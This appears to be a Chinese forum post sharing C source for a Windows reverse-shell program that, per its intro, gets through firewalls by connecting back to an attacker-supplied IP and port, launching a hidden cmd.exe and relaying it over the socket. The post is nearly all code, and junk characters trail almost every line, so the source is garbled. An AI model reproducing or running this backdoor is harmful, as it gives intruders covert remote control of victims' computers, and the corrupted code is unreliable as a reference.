这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7)U08"
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/* ============================== / 80Q
Rebound port in Windows NT ;Or]x?-
By wind,2006/7 q{:]D(
===============================*/ nhZ^`mP
#include v3q.,I_
#include Je1'0h9d
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#pragma comment(lib,"wsock32.lib") C@#KZ`c)
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void OutputShell(); aI'MVKwMk
SOCKET sClient; TyG;BF|rwk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y_SB3 $])
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void main(int argc,char **argv) 2#hfBJg@
{ k=D}i\F8
WSADATA stWsaData; ~As/cd>9
int nRet; &oXN*$/dlJ
SOCKADDR_IN stSaiClient,stSaiServer; e*?@6E
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if(argc != 3) cFF'ygJ/
{ BV@xE
printf("Useage:\n\rRebound DestIP DestPort\n"); ={]tklND
return; io1hUZ
} AwQ7O z|(
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WSAStartup(MAKEWORD(2,2),&stWsaData); zY^QZceq"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (- QvlpZ
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stSaiClient.sin_family = AF_INET; \lBY4j+;
stSaiClient.sin_port = htons(0); dPmtU{E<M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e_v_y$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }JlrWJRi
{ L $ki>._i\
printf("Bind Socket Failed!\n"); d09qZj>
return; Q]7}"B&
} L55VS:'
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stSaiServer.sin_family = AF_INET; S+*g
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ht_7:5v&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |JVp(Kx
L7rH=gZ&!]
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l =Is-N`
{ ZtofDp5B
printf("Connect Error!"); }VDJ
return; 5xIOi(3`Q
} 'Xb?vOU
OutputShell(); 6
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} 4u}jkd$]*
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void OutputShell() =`W#R
{ nKu)j3o`
char szBuff[1024]; Vu1swq)l
SECURITY_ATTRIBUTES stSecurityAttributes; 1 LUvs~Qu
OSVERSIONINFO stOsversionInfo; *ud/'HR8]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t8_i[Hw6D
STARTUPINFO stStartupInfo; RJ0:O
char *szShell; f~-qjEWm
PROCESS_INFORMATION stProcessInformation; .;,` bH0
unsigned long lBytesRead; 2Cgq&\wS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3@8Zy:[8<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <#%kmYSL
stSecurityAttributes.lpSecurityDescriptor = 0; CjT]!D)s
stSecurityAttributes.bInheritHandle = TRUE; 3^-yw`
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&(/QJ `*8
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mF`%Z~}b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ';iLk[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Cak-J~=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R^+,D
stStartupInfo.wShowWindow = SW_HIDE; 7:Be.(a
stStartupInfo.hStdInput = hReadPipe; x$+g/7*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5q 95.rw
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GetVersionEx(&stOsversionInfo); <F6LC_
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switch(stOsversionInfo.dwPlatformId) ~;D5j ) 9I
{ sB+
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case 1: MNWuw;:v
szShell = "command.com"; 4khc*fh
break; xI(t!aYp
default: >yr1wVS
szShell = "cmd.exe"; <
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break; t^5xq8w8
} ;oGpB#[zO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d6vls7J/4
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send(sClient,szMsg,77,0); Lxqv
while(1) k?VH4yA
{ .z}*!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *)xjMTJ%
if(lBytesRead) dQ`=CIr
{ O;H|nW}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r$<4_*
send(sClient,szBuff,lBytesRead,0); rfHAz
} 1|/-Ff"1@
else -]!zj#&
{ 2Mw^EjR
lBytesRead=recv(sClient,szBuff,1024,0); 0*F<tg,+]
if(lBytesRead<=0) break; Qf.]Mw?Bm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3#Qek2
} uB>OS1=
} 6X[Mn2wYW
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return; <&MY/vV
}